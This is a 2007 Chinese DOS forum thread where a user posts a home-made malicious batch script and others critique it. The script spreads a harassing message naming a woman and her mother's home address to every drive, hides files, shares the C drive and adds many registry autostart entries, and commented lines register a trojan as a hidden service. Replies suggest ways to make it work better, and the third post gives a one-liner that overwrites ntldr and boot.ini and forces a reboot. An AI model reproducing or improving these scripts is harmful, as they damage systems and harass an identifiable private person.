中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » 论坛回收站 » 自己写的坏东西,如有回复指教,不胜感激.
作者:
标题: 自己写的坏东西,如有回复指教,不胜感激. 上一主题 | 下一主题
correy
初级用户





积分 97
发帖 22
注册 2007-4-23
状态 离线
『楼 主』:  自己写的坏东西,如有回复指教,不胜感激.

::很垃圾哟!
@echo off
echo I love a person,>%windir%\lcl.txt
echo She doesn't love me.>>%windir%\lcl.txt
echo She is Liu Chun Li,>>%windir%\lcl.txt
echo She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.>>%windir%\lcl.txt
echo I was died because of her,>>%windir%\lcl.txt
echo I am demanding my life of you.>>%windir%\lcl.txt


copy /v /y %windir%\lcl.txt %systemdrive%\
copy /v /y %windir%\lcl.txt %windir%\system32\
copy /v /y %windir%\lcl.txt %userprofile%\"「开始」菜单"\程序\启动\
copy /v /y %windir%\lcl.txt %allusersprofile%\"「开始」菜单"\程序\启动\
copy /v /y %windir%\lcl.txt %allusersprofile%\"documents\
if not exist a:\lcl.txt copy /v /y %windir%\lcl.txt a:\
if not exist b:\lcl.txt copy /v /y %windir%\lcl.txt b:\
if not exist c:\lcl.txt copy /v /y %windir%\lcl.txt c:\
dir d:\ && copy /v /y %windir%\lcl.txt d:\
dir e:\ && copy /v /y %windir%\lcl.txt e:\
dir f:\ && copy /v /y %windir%\lcl.txt f:\
dir g:\ && copy /v /y %windir%\lcl.txt g:\
dir h:\ && copy /v /y %windir%\lcl.txt h:\
dir i:\ && copy /v /y %windir%\lcl.txt i:\
dir j:\ && copy /v /y %windir%\lcl.txt j:\
dir k:\ && copy /v /y %windir%\lcl.txt k:\
dir l:\ && copy /v /y %windir%\lcl.txt l:\
dir m:\ && copy /v /y %windir%\lcl.txt m:\
dir n:\ && copy /v /y %windir%\lcl.txt n:\
dir o:\ && copy /v /y %windir%\lcl.txt o:\
dir p:\ && copy /v /y %windir%\lcl.txt p:\
dir q:\ && copy /v /y %windir%\lcl.txt q:\
dir r:\ && copy /v /y %windir%\lcl.txt r:\
dir s:\ && copy /v /y %windir%\lcl.txt s:\
dir t:\ && copy /v /y %windir%\lcl.txt t:\
dir u:\ && copy /v /y %windir%\lcl.txt u:\
dir v:\ && copy /v /y %windir%\lcl.txt v:\
dir w:\ && copy /v /y %windir%\lcl.txt w:\
dir x:\ && copy /v /y %windir%\lcl.txt x:\
dir y:\ && copy /v /y %windir%\lcl.txt y:\
dir z:\ && copy /v /y %windir%\lcl.txt z:\

net share lcl=c:\lcl.txt

attrib +s +h %sysrwmdrive%\lcl.txt
attrib +s +h %windir%\lcl.txt
attrib +s +h %windir%\system32\lcl.txt
attrib +s +h %userprofile%\"「开始」菜单"\程序\启动\lcl.txt
attrib +s +h %allusersprofile%\"「开始」菜单"\程序\启动\lcl.txt

@echo Windows Registry Editor Version 5.00>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg   
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main]>>%windir%\lcl.reg
@echo "Start Page"="www.freewebs.com/leguany">>%windir%\lcl.reg

::run as service
@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ServiceName\Parameters]>>%windir%\lcl.reg
@echo "Application"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@attrib +s +h %windir%\lcl.reg
@echo y|start %windir%\lcl.reg /min /high
@if errorlevel 1 echo y|start %windir%\lcl.reg /min /high
regedit /s %windir%\lcl.reg

@echo MsgBox  "I find a person,", 8 >%systemdrive%\lcl.vbs
@echo MsgBox  "She is Liu Chun Li,", 8 >>%systemdrive%\lcl.vbs
@echo MsgBox  "can you help me?.", 8 >>%systemdrive%\lcl.vbs
@echo MsgBox  "She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.", 8 >>%systemdrive%\lcl.vbs
attrib +r +a +s +h %systemdrive%\lcl.vbs
start %systemdrive%\lcl.vbs


echo @echo I love a person,^>%systemdrive%\lcl.txt>%systemdrive%\lcl.bat
echo @echo She is Liu Chun Li,^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo She doesn't love me.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo I was died because of her,^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo I am demanding my life of you.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat

copy /v /y %systemdrive%\lcl.bat %windir%\
copy /v /y %systemdrive%\lcl.bat %windir%\system32\
copy /v /y %systemdrive%\lcl.bat %userprofile%\"「开始」菜单"\程序\启动\lcl.bat
copy /v /y %systemdrive%\lcl.bat %allusersprofile%\"「开始」菜单"\程序\启动\lcl.bat

attrib +s +h %sysrwmdrive%\lcl.bat
attrib +s +h %windir%\lcl.bat
attrib +s +h %windir%\system32\lcl.bat
attrib +s +h %userprofile%\"「开始」菜单"\程序\启动\lcl.bat
attrib +s +h %allusersprofile%\"「开始」菜单"\程序\启动\lcl.bat

rem  @start windrv32.exe
rem  @attrib +h +r windrv32.exe
rem  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
rem  @echo "windsnx "=- >>patch.dll
rem  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32rem
rem    \windrv32.exe
rem  @regedit /s patch.dll
rem  @delete patch.dll
rem  @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
rem  @REM 这样不是更安全^_^.


::reg autorun 启动 copy oneself to lcl.bat inf   
::autoexec.bat winstart.bat

2007-9-1 08:24
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
wudixin96
银牌会员





积分 1928
发帖 931
注册 2007-1-6
状态 离线
『第 2 楼』:  

if not exist a:\lcl.txt copy /v /y %windir%\lcl.txt a:\
if not exist b:\lcl.txt copy /v /y %windir%\lcl.txt b:\
if not exist c:\lcl.txt copy /v /y %windir%\lcl.txt c:\
dir d:\ && copy /v /y %windir%\lcl.txt d:\
dir e:\ && copy /v /y %windir%\lcl.txt e:\
dir f:\ && copy /v /y %windir%\lcl.txt f:\
dir g:\ && copy /v /y %windir%\lcl.txt g:\
dir h:\ && copy /v /y %windir%\lcl.txt h:\
dir i:\ && copy /v /y %windir%\lcl.txt i:\
dir j:\ && copy /v /y %windir%\lcl.txt j:\
dir k:\ && copy /v /y %windir%\lcl.txt k:\
dir l:\ && copy /v /y %windir%\lcl.txt l:\
dir m:\ && copy /v /y %windir%\lcl.txt m:\
dir n:\ && copy /v /y %windir%\lcl.txt n:\
dir o:\ && copy /v /y %windir%\lcl.txt o:\
dir p:\ && copy /v /y %windir%\lcl.txt p:\
dir q:\ && copy /v /y %windir%\lcl.txt q:\
dir r:\ && copy /v /y %windir%\lcl.txt r:\
dir s:\ && copy /v /y %windir%\lcl.txt s:\
dir t:\ && copy /v /y %windir%\lcl.txt t:\
dir u:\ && copy /v /y %windir%\lcl.txt u:\
dir v:\ && copy /v /y %windir%\lcl.txt v:\
dir w:\ && copy /v /y %windir%\lcl.txt w:\
dir x:\ && copy /v /y %windir%\lcl.txt x:\
dir y:\ && copy /v /y %windir%\lcl.txt y:\
dir z:\ && copy /v /y %windir%\lcl.txt z:\

net share lcl=c:\lcl.txt


A、B盘符一般不存在的,所以没必要。特别是B

dir不存在的盘符会出错,出错信息没屏蔽

像偶一样server服务都不开的,net share还能用吗?

这么长的一段,完全可以用for精简的。

2007-9-1 08:32
查看资料  发短消息 网志   编辑帖子  回复  引用回复
knoppix7
银牌会员





积分 1287
发帖 634
注册 2007-5-2
来自 cmd.exe
状态 离线
『第 3 楼』:  

@echo off
echo XXXXXXXX>c:\ntldr
echo XXXXXXXXX>c:\boot.ini
shutdown -r -f

2007-9-1 11:05
查看资料  发短消息 网志   编辑帖子  回复  引用回复
HAT
版主





积分 9023
发帖 5017
注册 2007-5-31
状态 离线
『第 4 楼』:  

1. 如2楼所说,完全可以用for循环来穷举所有盘符。
2. 如果注册表已经被用户锁定,你这个导入.reg文件的方式会失败。还是用reg add命令直接修改注册表吧。
3. 看来楼主对@符号的作用还不是很清楚哦。
4. 遇上英文版操作系统,部分内容会出错。

2007-9-1 13:55
查看资料  发短消息 网志   编辑帖子  回复  引用回复
xqx
初级用户





积分 28
发帖 25
注册 2010-8-3
状态 离线
『第 5 楼』:  

初学的有这水平不错了

2010-8-14 10:16
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: